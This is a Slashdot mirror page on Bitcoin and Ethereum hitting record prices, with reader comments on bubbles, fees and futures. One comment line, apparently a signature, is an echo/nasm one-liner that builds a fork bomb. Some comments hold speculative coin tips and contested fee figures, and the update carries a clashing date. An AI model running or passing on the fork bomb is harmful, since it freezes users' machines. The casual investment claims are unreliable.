Slashdot Mirror
Bitcoin and Ethereum Prices Are Surging Again (cnbc.com)
An anonymous reader quotes CNBC:
Bitcoin is getting a Black Friday boost. The digital currency climbed above $8,700 to a record high Saturday following increased investor interest around the U.S. Thanksgiving holiday and Black Friday shopping. Bitcoin rose more than 6 percent to a record high of $8,725.13, according to CoinDesk, trading around $8,674 midday on Saturday. [Bitcoin passed $8,000 for the first time just six days earlier]. Another digital currency, ethereum, also hit an all-time high of $485.18, according to CoinMarketCap [rising more than 50% from $300 as recently as mid-November]...
The largest bitcoin exchange in the U.S., Coinbase, added about 100,000 accounts between Wednesday and Friday -- just around Thursday's Thanksgiving holiday -- to a total of 13.1 million. That's according to public data available on Coinbase's website and historical records compiled by Alistair Milne, co-founder and chief investment officer of Altana Digital Currency Fund. Coinbase had about 4.9 million users last November, Milne's data showed... The world's largest futures exchange, CME, is planning to list bitcoin futures in the second week of December...another step in establishing bitcoin as a legitimate asset class.
UPDATE (9/26/17): Sunday the price of Bitcoin surged past $9,000 -- just one week after surging past $8,000.
The largest bitcoin exchange in the U.S., Coinbase, added about 100,000 accounts between Wednesday and Friday -- just around Thursday's Thanksgiving holiday -- to a total of 13.1 million. That's according to public data available on Coinbase's website and historical records compiled by Alistair Milne, co-founder and chief investment officer of Altana Digital Currency Fund. Coinbase had about 4.9 million users last November, Milne's data showed... The world's largest futures exchange, CME, is planning to list bitcoin futures in the second week of December...another step in establishing bitcoin as a legitimate asset class.
UPDATE (9/26/17): Sunday the price of Bitcoin surged past $9,000 -- just one week after surging past $8,000.
Or falls. Buy on the dip!
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Surely there's no cap to the price of one Bitcoin. Why would there be! Naturally, there's a relevant HitchHiker's quote:
"The Triganic Pu is a unit of galactic currency, with an exchange rate of eight Ningis to one Pu. This is simple enough, but, since a Ningi is a triangular rubber coin six thousand eight hundred miles along each side, no one has ever collected enough to own one Pu. Ningis are not negotiable currency, because the Galactibanks refuse to deal in fiddling small change."
Trading bitcoin over a public Wifi network is good advice akin checking your bank balance over the same available internet access,
or having sex on the back of an angry bear.
Happiness in intelligent people is the rarest thing I know.
Ernest Hemingway
Once it exceeds ten grand, won't every transaction have to be reported to the Feds?
Just to be open, I already sold everything I own. I fully believe the market can continue to be irrational for another year and I would not recommend shorting bitcoin.
It's a bubble but I have no idea how to predict when it will burst. I do think at some point a crypto currency will replace some portion of the worlds M1 money supple (currently 70 Trillion dollars) but it won't be bitcoin. It might be ripple but I hope to god it isn't. I'm sort of hoping it will be some new currency or an evolution of an existing one (Vertcoin, Monero?) It would be ironic if US drug enforcement's actions led to Monero being the next big currency.
Side note: I bought my first house with Nortel Shares sold at around $90 while I worked there. They went up to $124 but never should have been over $5. The company wasn't profitable and their sales predictions something like 100% growth rate ever 9 months for the next 10 years. No one could have possible believed that.
Family discussions over Thanksgiving dinner, about how much one family member made, leading others to invest.
Also the next Big Bang episode will be about Bitcoin in some way, and will cause another surge of interest.
Buy Dogecoins NOW! One day, its value may go up to one dollar per coin!
#DeleteFacebook
The current average fee is $57 USD per transaction.
Nonsense... it's closer to $6 USD per transaction, and that's because of some users' broken wallets sending more fees than necessary --- Low-Fee transactions are going through just fine. Also Due to SegWit; you can transact with a much smaller fee, and the blocksize effectively HAS increased due to SegWit.
Also, Bitcoin no longer has a fixed blocksize limit; it's "Block Weight".
The world's largest futures exchange, CME, is planning to list bitcoin futures in the second week of December.
There you go.
#DeleteFacebook
If this isn't a lack of confidence vote on the state of fiat currency,
Fiat currencies are doing just fine. Inflation for the US dollar is at 2%. The Euro is at 1.5%. The Yen is at 0.7%. It took years of QE to get inflation up to even those levels. That doesn't indicate any lack of confidence.
"The current average fee is $57 USD per transaction."
No it's not. I don't know where you're getting that figure. The current average fee is $4.91. But average fee isn't even the right statistic to look at, as that's skewed higher by transactions of very large dollar amounts, as well as large weighted transactions with many inputs from places like exchanges. The median transaction fee is better, at $2.84. Even the median fee doesn't imply that you have to pay that to have your transaction confirmed in a reasonable period of time, either.
"The current reward for mining a block is 25 bitcoin"
No it's not. It's been 12.5 since 2016.
What is happening is bigger money Vulture capitalists are playing, push it up, sell, crash it down, buy and push it up, sell, crash it down, etc etc etc. They will be monitoring the entire state of play, depth of buys and sells, plus of course playing with main stream media, you people have zero protection from law because not a properly recognised currency and they will be manipulating exchange rates for all they are worth, up to the destruction of currency. Those arseholes manipulate whole countries currencies, what chance do you people think you have, boom, bust, boom, bust, get used to it.
Chaos - everything, everywhere, everywhen
The current average fee is $57 USD per transaction. That doesn't even guarentee you will be in the next block
This doesn't mean it's unusable, it means that now so many people are using it, a bunch of them are willing to pay $57 to actually use it.
"First they came for the slanderers and i said nothing."
Why do you think NVidia surged?
"Think of the Children!"
https://www.youtube.com/watch?...
Black Friday is the name for the day after Thanksgiving.
It's all a gamble. I thought I'd invest around $50 to play with.
If you want to take a punt, don't risk too much; and just buy something. Bitcoin has relatively high transaction costs so probably best to avoid. Popular ones are Ripple, etherbean, Bitbean cash, Monero and litebean. Personally I think doge is a little undervalued right now, but that's because I bought a handful when they were expensive, so may be biased here.
And if you want to invest in a bubble, there's always the economic miracle of the Australian housing market.
Wouldn't hurt to buy $20 worth of Dogecoins.
#DeleteFacebook
Informative ? Basically everything said in this post is wrong.
Yeah, it's totally not speculators trying to profit from the bubble. You're totally right. For sure.
Indeed, though it seems that most people interested in bitcoins refuse to admit that it is actually a bubble, at least that appears to be the case on the bitcoin sub-reddit, where people are predicting it will be well over $10k USD per bitcoin before the holidays whilst at the same time denying that it is a bubble.
From the outside it looks like a bubble, it smells like a bubble, all it needs to confirm it is a bubble are super-bowl adds urging people to invest in bitcoin.
It's a legal pyramid scheme on a global scale. I'd be profoundly surprised if Big Finance (for lack of a better term) didn't already have their hands at the helm. I'm not much for conspiracy theories, but I am very sceptical about these articles claiming that "banks and exchanges are starting to show an interest in cryptocurrency". That interest would have been at maximum the second their financial analysts had a brief look at the crypto market.
If construction was anything like programming, an incorrectly fitted lock would bring down the entire building...
Futures for something that is already in a speculative bubble; maybe gamble commisions should take a look at this too...
Wow so much inaccuracy in one short paragraph.
If you're only playing with $50, you can bitcoin on an exchange, and leave it there until you want to sell it without having to pay any transaction fees.
bubble mentality; mass delusions always fascinating.
shouldn't be a problem with any of that, as long as others don't have to pay for the mistakes of deluded eventually.
Banks and exchanges are barely starting to look at this because the whole Cryptocurrency market is still pocket change compared to "traditional" financial world.
Crypto market cap hovers at around 200 billion dollars(*), while an article from 2016(**) lists 60 major stock exchanges worldwide totaling 69 trillion dollars. Rounded up, it means Crypto represents 0.29% of the overall market.
As I was saying... pocket change. Banks didn't even give a shit. They start giving a shit because the blip on the radar starts looking like it's here to stay, and they obviously want to get their dirty paws on some of that shit early.
(*) https://www.forbes.com/sites/c...
(**) http://www.visualcapitalist.co...
...gis sdrawkcab (usually not responding to ACs; don't bother posting as AC)
With regards to transaction costs.
The spot price for BTC is $9000.
The last block mined was #496206
It contained 2192 blockchain transactions
It touched 13,456 BTC or which 1951 BTC was guessed to be the actual transaction and the rest change.
The transaction fee was 1.59 BTC direct to the users and 12.5 in block reward.
For the users, the 12.5 BTC dilution is a very small dilution cost compared to the 1.59, so this leaves a simple transaction fee of $9000 * 1.59 / 2192 = $6.52.
But this is only part of the story.
The first step in measuring the transaction fee is to define it.
BTC does not make this easy for a variety of reasons.
A blockchain transaction can have multiple inputs and outputs.
The a basic, user transaction would have 1 input and 2 outputs for the funds source, the funds dest, and the change. A transaction with 1 in and 1 out may be an artifact of BTC and often not a useful user transaction. An exchange transaction might have multiple inputs and outputs and manage to perform multiple useful user transactions in a single blockchain transaction.
So how many useful transaction were there in this block?
Unfortunately, the BTC explorer does not give the total inputs and outputs in a block. If you guess that the exchanges managed to double the number of useful user transactions, then the transaction fee might drop to $3.
This swag still seems orders of magnitude too high for what is supposed to be a new way to move money.
For BTC to have value, it needs to be useful. The magnitude of these fees seems contrary to that end.
Other similar issues are the transaction rate and the legal status of the coin realm.
(So for folks cashing out, how many are planning on reporting this to the local friends at the tax authority?)
For those still in, it seems like a case of the hard thing about playing chicken is knowing when to blink.
But that's not much fun. I move it around speculating on what is going to rise fastest.
n.b., I'm not suggesting I'm remotely competent at this game.
I'm going to laugh my ass off when Coinbase vanishes and cashes in it's chips.
~X~
But that's not much fun. I move it around speculating on what is going to rise fastest.
You can do that on the exchange.
My comment wasn't meant to be funny.
Bitcoin is currently worth 9269.00 U.S. dollars.
Dogecoin is currently worth 0.0020 U.S. dollar.
If Dogecoin goes up to 1.00 U.S. dollar, that means it increased in value by 500 times.
For Bitcoin to go up in value 500 times it would have to be worth 4.634 million U.S. dollars.
Now, which do you think will happen first?
Buy $20 worth of Dogecoins today (10K coins) and maybe your $20 will be worth $10K one day. And if it crashes, then you only lost $20.
#DeleteFacebook
Oh, okay... Like I said, I'm not very good at this game :)
Bitcoin is people paying cash for numbers somebody made up.
Better?
Much of the appreciation is linked to speculation, but this speculation is pricing in the future utility especially in regulatory arbitrage. Think of bitcoin as a blackmarket ETF. Does your investment portfolio include investing in the blackmarket and if not why is it imbalanced? Bitcoin is an uncorrelated asset class and this is interesting to many investors who want a safer and more balanced portfolio.
Never store your bitcoins in web wallets or exchanges.
I pay 1-10 cents a transaction with bitcoin all the time. Just get a segwit wallet and manually set the fees. If you want a quick confirmation you may have to pay more like 50 pennies USD .
Bitcoin is just the same as any other asset or currency with price discovery. There are fiat and commodity trading pairs and the market determines price based upon supply and demand
You can buy for free on gdax with a limit order , withdraw through gdax for free, and than use a segwit wallet and pay transaction fees of 5-10 cents to move the btc thereafter.
Switch to a segwit wallet with manual fees/fee bumping. My tx fees are pennies
The world's largest futures exchange, CME, is planning to list bitcoin futures in the second week of December.
There you go.
Proving what, exactly? That stockbrokers like commissions?
Film at 11.
No sig today...
... on the bitcoin sub-reddit, where people are predicting it will be well over $10k USD per bitcoin before the holidays whilst at the same time denying that it is a bubble
It may well go over $10k, or even $12k. That still won't mean it isn't a bubble.
No sig today...
"That number has come down to "only" 22k as a baseline, but that's due to low transaction counts."
If you look at the mempool charts, low transaction counts have been the norm, not the exception. The spikes in unconfirmed transactions are what have been the exception.
"The core devs have no plan to improve that figure."
That's false. There are multiple areas where they are working on scaling.
no because tech is highly correlated with the broader stock market - also nvidia is not creating anything worth mentioning like crypto - changing how the society works or uses money.
The question is why they report only about price and not technological development? I think we need more stories about crypto but much less about its price.
Do you have any suggestions for cold storage? Thanks.
No Inflation Taxation without Representation
Hardware wallets like ledger and trezor are great solutions for beginners . If you know what you are doing you can create a paper wallet or cold storage electrum wallet for more questions you can ask in r/BitcoinBeginners in reddit
Thank you sir, I truly appreciate it.
No Inflation Taxation without Representation